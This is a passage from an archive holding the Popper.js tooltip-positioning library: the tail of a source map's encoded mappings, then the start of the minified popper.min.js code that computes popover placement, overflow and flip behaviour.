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"}popper.min.js000064400000045557151677356750007237 0ustar00/*
 Copyright (C) Federico Zivolo 2018
 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
 */var e='undefined'!=typeof window&&'undefined'!=typeof document;const t=['Edge','Trident','Firefox'];let o=0;for(let n=0;n<t.length;n+=1)if(e&&0<=navigator.userAgent.indexOf(t[n])){o=1;break}function n(e){let t=!1;return()=>{t||(t=!0,window.Promise.resolve().then(()=>{t=!1,e()}))}}function i(e){let t=!1;return()=>{t||(t=!0,setTimeout(()=>{t=!1,e()},o))}}const r=e&&window.Promise;var p=r?n:i;function d(e){return e&&'[object Function]'==={}.toString.call(e)}function s(e,t){if(1!==e.nodeType)return[];const o=e.ownerDocument.defaultView,n=o.getComputedStyle(e,null);return t?n[t]:n}function f(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function a(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}const{overflow:t,overflowX:o,overflowY:n}=s(e);return /(auto|scroll|overlay)/.test(t+n+o)?e:a(f(e))}const l=e&&!!(window.MSInputMethodContext&&document.documentMode),m=e&&/MSIE 10/.test(navigator.userAgent);function h(e){return 11===e?l:10===e?m:l||m}function c(e){if(!e)return document.documentElement;const t=h(10)?document.body:null;let o=e.offsetParent||null;for(;o===t&&e.nextElementSibling;)o=(e=e.nextElementSibling).offsetParent;const n=o&&o.nodeName;return n&&'BODY'!==n&&'HTML'!==n?-1!==['TH','TD','TABLE'].indexOf(o.nodeName)&&'static'===s(o,'position')?c(o):o:e?e.ownerDocument.documentElement:document.documentElement}function u(e){const{nodeName:t}=e;return'BODY'!==t&&('HTML'===t||c(e.firstElementChild)===e)}function g(e){return null===e.parentNode?e:g(e.parentNode)}function b(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;const o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,n=o?e:t,i=o?t:e,r=document.createRange();r.setStart(n,0),r.setEnd(i,0);const{commonAncestorContainer:p}=r;if(e!==p&&t!==p||n.contains(i))return u(p)?p:c(p);const d=g(e);return d.host?b(d.host,t):b(e,g(t).host)}function w(e,t='top'){const o='top'===t?'scrollTop':'scrollLeft',n=e.nodeName;if('BODY'===n||'HTML'===n){const t=e.ownerDocument.documentElement,n=e.ownerDocument.scrollingElement||t;return n[o]}return e[o]}function y(e,t,o=!1){const n=w(t,'top'),i=w(t,'left'),r=o?-1:1;return e.top+=n*r,e.bottom+=n*r,e.left+=i*r,e.right+=i*r,e}function E(e,t){const o='x'===t?'Left':'Top',n='Left'==o?'Right':'Bottom';return parseFloat(e[`border${o}Width`],10)+parseFloat(e[`border${n}Width`],10)}function x(e,t,o,n){return Math.max(t[`offset${e}`],t[`scroll${e}`],o[`client${e}`],o[`offset${e}`],o[`scroll${e}`],h(10)?parseInt(o[`offset${e}`])+parseInt(n[`margin${'Height'===e?'Top':'Left'}`])+parseInt(n[`margin${'Height'===e?'Bottom':'Right'}`]):0)}function v(e){const t=e.body,o=e.documentElement,n=h(10)&&getComputedStyle(o);return{height:x('Height',t,o,n),width:x('Width',t,o,n)}}var O=Object.assign||function(e){for(var t,o=1;o<arguments.length;o++)for(var n in t=arguments[o],t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e};function S(e){return O({},e,{right:e.left+e.width,bottom:e.top+e.height})}function L(e){let t={};try{if(h(10)){t=e.getBoundingClientRect();const o=w(e,'top'),n=w(e,'left');t.top+=o,t.left+=n,t.bottom+=o,t.right+=n}else t=e.getBoundingClientRect()}catch(t){}const o={left:t.left,top:t.top,width:t.right-t.left,height:t.bottom-t.top},n='HTML'===e.nodeName?v(e.ownerDocument):{},i=n.width||e.clientWidth||o.right-o.left,r=n.height||e.clientHeight||o.bottom-o.top;let p=e.offsetWidth-i,d=e.offsetHeight-r;if(p||d){const t=s(e);p-=E(t,'x'),d-=E(t,'y'),o.width-=p,o.height-=d}return S(o)}function T(e,t,o=!1){var n=Math.max;const i=h(10),r='HTML'===t.nodeName,p=L(e),d=L(t),f=a(e),l=s(t),m=parseFloat(l.borderTopWidth,10),c=parseFloat(l.borderLeftWidth,10);o&&r&&(d.top=n(d.top,0),d.left=n(d.left,0));let u=S({top:p.top-d.top-m,left:p.left-d.left-c,width:p.width,height:p.height});if(u.marginTop=0,u.marginLeft=0,!i&&r){const e=parseFloat(l.marginTop,10),t=parseFloat(l.marginLeft,10);u.top-=m-e,u.bottom-=m-e,u.left-=c-t,u.right-=c-t,u.marginTop=e,u.marginLeft=t}return(i&&!o?t.contains(f):t===f&&'BODY'!==f.nodeName)&&(u=y(u,t)),u}function D(e,t=!1){var o=Math.max;const n=e.ownerDocument.documentElement,i=T(e,n),r=o(n.clientWidth,window.innerWidth||0),p=o(n.clientHeight,window.innerHeight||0),d=t?0:w(n),s=t?0:w(n,'left'),f={top:d-i.top+i.marginTop,left:s-i.left+i.marginLeft,width:r,height:p};return S(f)}function C(e){const t=e.nodeName;return'BODY'===t||'HTML'===t?!1:!('fixed'!==s(e,'position'))||C(f(e))}function N(e){if(!e||!e.parentElement||h())return document.documentElement;let t=e.parentElement;for(;t&&'none'===s(t,'transform');)t=t.parentElement;return t||document.documentElement}function P(e,t,o,n,i=!1){let r={top:0,left:0};const p=i?N(e):b(e,t);if('viewport'===n)r=D(p,i);else{let o;'scrollParent'===n?(o=a(f(t)),'BODY'===o.nodeName&&(o=e.ownerDocument.documentElement)):'window'===n?o=e.ownerDocument.documentElement:o=n;const d=T(o,p,i);if('HTML'===o.nodeName&&!C(p)){const{height:t,width:o}=v(e.ownerDocument);r.top+=d.top-d.marginTop,r.bottom=t+d.top,r.left+=d.left-d.marginLeft,r.right=o+d.left}else r=d}o=o||0;const d='number'==typeof o;return r.left+=d?o:o.left||0,r.top+=d?o:o.top||0,r.right-=d?o:o.right||0,r.bottom-=d?o:o.bottom||0,r}function H({width:e,height:t}){return e*t}function B(e,t,o,n,i,r=0){if(-1===e.indexOf('auto'))return e;const p=P(o,n,r,i),d={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},s=Object.keys(d).map((e)=>O({key:e},d[e],{area:H(d[e])})).sort((e,t)=>t.area-e.area),f=s.filter(({width:e,height:t})=>e>=o.clientWidth&&t>=o.clientHeight),a=0<f.length?f[0].key:s[0].key,l=e.split('-')[1];return a+(l?`-${l}`:'')}function W(e,t,o,n=null){const i=n?N(t):b(t,o);return T(o,i,n)}function k(e){const t=e.ownerDocument.defaultView,o=t.getComputedStyle(e),n=parseFloat(o.marginTop)+parseFloat(o.marginBottom),i=parseFloat(o.marginLeft)+parseFloat(o.marginRight),r={width:e.offsetWidth+i,height:e.offsetHeight+n};return r}function A(e){const t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left|right|bottom|top/g,(e)=>t[e])}function M(e,t,o){o=o.split('-')[0];const n=k(e),i={width:n.width,height:n.height},r=-1!==['right','left'].indexOf(o),p=r?'top':'left',d=r?'left':'top',s=r?'height':'width',f=r?'width':'height';return i[p]=t[p]+t[s]/2-n[s]/2,i[d]=o===d?t[d]-n[f]:t[A(d)],i}function I(e,t){return Array.prototype.find?e.find(t):e.filter(t)[0]}function F(e,t,o){if(Array.prototype.findIndex)return e.findIndex((e)=>e[t]===o);const n=I(e,(e)=>e[t]===o);return e.indexOf(n)}function R(e,t,o){const n=void 0===o?e:e.slice(0,F(e,'name',o));return n.forEach((e)=>{e['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');const o=e['function']||e.fn;e.enabled&&d(o)&&(t.offsets.popper=S(t.offsets.popper),t.offsets.reference=S(t.offsets.reference),t=o(t,e))}),t}function U(){if(this.state.isDestroyed)return;let e={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};e.offsets.reference=W(this.state,this.popper,this.reference,this.options.positionFixed),e.placement=B(this.options.placement,e.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),e.originalPlacement=e.placement,e.positionFixed=this.options.positionFixed,e.offsets.popper=M(this.popper,e.offsets.reference,e.placement),e.offsets.popper.position=this.options.positionFixed?'fixed':'absolute',e=R(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}function Y(e,t){return e.some(({name:e,enabled:o})=>o&&e===t)}function V(e){const t=[!1,'ms','Webkit','Moz','O'],o=e.charAt(0).toUpperCase()+e.slice(1);for(let n=0;n<t.length;n++){const i=t[n],r=i?`${i}${o}`:e;if('undefined'!=typeof document.body.style[r])return r}return null}function j(){return this.state.isDestroyed=!0,Y(this.modifiers,'applyStyle')&&(this.popper.removeAttribute('x-placement'),this.popper.style.position='',this.popper.style.top='',this.popper.style.left='',this.popper.style.right='',this.popper.style.bottom='',this.popper.style.willChange='',this.popper.style[V('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function K(e){const t=e.ownerDocument;return t?t.defaultView:window}function G(e,t,o,n){const i='BODY'===e.nodeName,r=i?e.ownerDocument.defaultView:e;r.addEventListener(t,o,{passive:!0}),i||G(a(r.parentNode),t,o,n),n.push(r)}function q(e,t,o,n){o.updateBound=n,K(e).addEventListener('resize',o.updateBound,{passive:!0});const i=a(e);return G(i,'scroll',o.updateBound,o.scrollParents),o.scrollElement=i,o.eventsEnabled=!0,o}function z(){this.state.eventsEnabled||(this.state=q(this.reference,this.options,this.state,this.scheduleUpdate))}function _(e,t){return K(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach((e)=>{e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function X(){this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=_(this.reference,this.state))}function J(e){return''!==e&&!isNaN(parseFloat(e))&&isFinite(e)}function Q(e,t){Object.keys(t).forEach((o)=>{let n='';-1!==['width','height','top','right','bottom','left'].indexOf(o)&&J(t[o])&&(n='px'),e.style[o]=t[o]+n})}function Z(e,t){Object.keys(t).forEach(function(o){const n=t[o];!1===n?e.removeAttribute(o):e.setAttribute(o,t[o])})}function $(e){return Q(e.instance.popper,e.styles),Z(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&Q(e.arrowElement,e.arrowStyles),e}function ee(e,t,o,n,i){const r=W(i,t,e,o.positionFixed),p=B(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),Q(t,{position:o.positionFixed?'fixed':'absolute'}),o}function te(e,t){var o=Math.round,n=Math.floor;const{x:i,y:r}=t,{popper:p}=e.offsets,d=I(e.instance.modifiers,(e)=>'applyStyle'===e.name).gpuAcceleration;void 0!==d&&console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');const s=void 0===d?t.gpuAcceleration:d,f=c(e.instance.popper),a=L(f),l={position:p.position},m={left:n(p.left),top:o(p.top),bottom:o(p.bottom),right:n(p.right)},h='bottom'===i?'top':'bottom',u='right'===r?'left':'right',g=V('transform');let b,w;if(w='bottom'==h?'HTML'===f.nodeName?-f.clientHeight+m.bottom:-a.height+m.bottom:m.top,b='right'==u?'HTML'===f.nodeName?-f.clientWidth+m.right:-a.width+m.right:m.left,s&&g)l[g]=`translate3d(${b}px, ${w}px, 0)`,l[h]=0,l[u]=0,l.willChange='transform';else{const e='bottom'==h?-1:1,t='right'==u?-1:1;l[h]=w*e,l[u]=b*t,l.willChange=`${h}, ${u}`}const y={"x-placement":e.placement};return e.attributes=O({},y,e.attributes),e.styles=O({},l,e.styles),e.arrowStyles=O({},e.offsets.arrow,e.arrowStyles),e}function oe(e,t,o){const n=I(e,({name:e})=>e===t),i=!!n&&e.some((e)=>e.name===o&&e.enabled&&e.order<n.order);if(!i){const e=`\`${t}\``,n=`\`${o}\``;console.warn(`${n} modifier is required by ${e} modifier in order to work, be sure to include it before ${e}!`)}return i}function ne(e,t){if(!oe(e.instance.modifiers,'arrow','keepTogether'))return e;let o=t.element;if('string'==typeof o){if(o=e.instance.popper.querySelector(o),!o)return e;}else if(!e.instance.popper.contains(o))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;const n=e.placement.split('-')[0],{popper:i,reference:r}=e.offsets,p=-1!==['left','right'].indexOf(n),d=p?'height':'width',f=p?'Top':'Left',a=f.toLowerCase(),l=p?'left':'top',m=p?'bottom':'right',h=k(o)[d];r[m]-h<i[a]&&(e.offsets.popper[a]-=i[a]-(r[m]-h)),r[a]+h>i[m]&&(e.offsets.popper[a]+=r[a]+h-i[m]),e.offsets.popper=S(e.offsets.popper);const c=r[a]+r[d]/2-h/2,u=s(e.instance.popper),g=parseFloat(u[`margin${f}`],10),b=parseFloat(u[`border${f}Width`],10);let w=c-e.offsets.popper[a]-g-b;return w=Math.max(Math.min(i[d]-h,w),0),e.arrowElement=o,e.offsets.arrow={[a]:Math.round(w),[l]:''},e}function ie(e){if('end'===e)return'start';return'start'===e?'end':e}var re=['auto-start','auto','auto-end','top-start','top','top-end','right-start','right','right-end','bottom-end','bottom','bottom-start','left-end','left','left-start'];const pe=re.slice(3);function de(e,t=!1){const o=pe.indexOf(e),n=pe.slice(o+1).concat(pe.slice(0,o));return t?n.reverse():n}const se={FLIP:'flip',CLOCKWISE:'clockwise',COUNTERCLOCKWISE:'counterclockwise'};function fe(e,t){if(Y(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;const o=P(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed);let n=e.placement.split('-')[0],i=A(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case se.FLIP:p=[n,i];break;case se.CLOCKWISE:p=de(n);break;case se.COUNTERCLOCKWISE:p=de(n,!0);break;default:p=t.behavior;}return p.forEach((d,s)=>{if(n!==d||p.length===s+1)return e;n=e.placement.split('-')[0],i=A(n);const f=e.offsets.popper,a=e.offsets.reference,l=Math.floor,m='left'===n&&l(f.right)>l(a.left)||'right'===n&&l(f.left)<l(a.right)||'top'===n&&l(f.bottom)>l(a.top)||'bottom'===n&&l(f.top)<l(a.bottom),h=l(f.left)<l(o.left),c=l(f.right)>l(o.right),u=l(f.top)<l(o.top),g=l(f.bottom)>l(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&u||'bottom'===n&&g,w=-1!==['top','bottom'].indexOf(n),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&u||!w&&'end'===r&&g);(m||b||y)&&(e.flipped=!0,(m||b)&&(n=p[s+1]),y&&(r=ie(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=O({},e.offsets.popper,M(e.instance.popper,e.offsets.reference,e.placement)),e=R(e.instance.modifiers,e,'flip'))}),e}function ae(e){const{popper:t,reference:o}=e.offsets,n=e.placement.split('-')[0],i=Math.floor,r=-1!==['top','bottom'].indexOf(n),p=r?'right':'bottom',d=r?'left':'top',s=r?'width':'height';return t[p]<i(o[d])&&(e.offsets.popper[d]=i(o[d])-t[s]),t[d]>i(o[p])&&(e.offsets.popper[d]=i(o[p])),e}function le(e,t,o,n){var i=Math.max;const r=e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),p=+r[1],d=r[2];if(!p)return e;if(0===d.indexOf('%')){let e;switch(d){case'%p':e=o;break;case'%':case'%r':default:e=n;}const i=S(e);return i[t]/100*p}if('vh'===d||'vw'===d){let e;return e='vh'===d?i(document.documentElement.clientHeight,window.innerHeight||0):i(document.documentElement.clientWidth,window.innerWidth||0),e/100*p}return p}function me(e,t,o,n){const i=[0,0],r=-1!==['right','left'].indexOf(n),p=e.split(/(\+|\-)/).map((e)=>e.trim()),d=p.indexOf(I(p,(e)=>-1!==e.search(/,|\s/)));p[d]&&-1===p[d].indexOf(',')&&console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');const s=/\s*,\s*|\s+/;let f=-1===d?[p]:[p.slice(0,d).concat([p[d].split(s)[0]]),[p[d].split(s)[1]].concat(p.slice(d+1))];return f=f.map((e,n)=>{const i=(1===n?!r:r)?'height':'width';let p=!1;return e.reduce((e,t)=>''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t),[]).map((e)=>le(e,i,t,o))}),f.forEach((e,t)=>{e.forEach((o,n)=>{J(o)&&(i[t]+=o*('-'===e[n-1]?-1:1))})}),i}function he(e,{offset:t}){const{placement:o,offsets:{popper:n,reference:i}}=e,r=o.split('-')[0];let p;return p=J(+t)?[+t,0]:me(t,n,i,r),'left'===r?(n.top+=p[0],n.left-=p[1]):'right'===r?(n.top+=p[0],n.left+=p[1]):'top'===r?(n.left+=p[0],n.top-=p[1]):'bottom'===r&&(n.left+=p[0],n.top+=p[1]),e.popper=n,e}function ce(e,t){let o=t.boundariesElement||c(e.instance.popper);e.instance.reference===o&&(o=c(o));const n=V('transform'),i=e.instance.popper.style,{top:r,left:p,[n]:d}=i;i.top='',i.left='',i[n]='';const s=P(e.instance.popper,e.instance.reference,t.padding,o,e.positionFixed);i.top=r,i.left=p,i[n]=d,t.boundaries=s;const f=t.priority;let a=e.offsets.popper;const l={primary(e){let o=a[e];return a[e]<s[e]&&!t.escapeWithReference&&(o=Math.max(a[e],s[e])),{[e]:o}},secondary(e){const o='right'===e?'left':'top';let n=a[o];return a[e]>s[e]&&!t.escapeWithReference&&(n=Math.min(a[o],s[e]-('right'===e?a.width:a.height))),{[o]:n}}};return f.forEach((e)=>{const t=-1===['left','top'].indexOf(e)?'secondary':'primary';a=O({},a,l[t](e))}),e.offsets.popper=a,e}function ue(e){const t=e.placement,o=t.split('-')[0],n=t.split('-')[1];if(n){const{reference:t,popper:i}=e.offsets,r=-1!==['bottom','top'].indexOf(o),p=r?'left':'top',d=r?'width':'height',s={start:{[p]:t[p]},end:{[p]:t[p]+t[d]-i[d]}};e.offsets.popper=O({},i,s[n])}return e}function ge(e){if(!oe(e.instance.modifiers,'hide','preventOverflow'))return e;const t=e.offsets.reference,o=I(e.instance.modifiers,(e)=>'preventOverflow'===e.name).boundaries;if(t.bottom<o.top||t.left>o.right||t.top>o.bottom||t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}function be(e){const t=e.placement,o=t.split('-')[0],{popper:n,reference:i}=e.offsets,r=-1!==['left','right'].indexOf(o),p=-1===['top','left'].indexOf(o);return n[r?'left':'top']=i[o]-(p?n[r?'width':'height']:0),e.placement=A(t),e.offsets.popper=S(n),e}var 